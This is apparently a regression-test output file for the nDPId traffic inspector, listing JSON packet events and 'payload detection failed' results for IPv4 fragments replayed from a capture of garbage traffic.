+00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299382,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299394,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299454,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299473,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299503,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299516,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299541,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299565,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299604,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299618,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299631,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299671,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299723,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299750,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299762,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299774,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299787,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299878,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299915,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299942,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 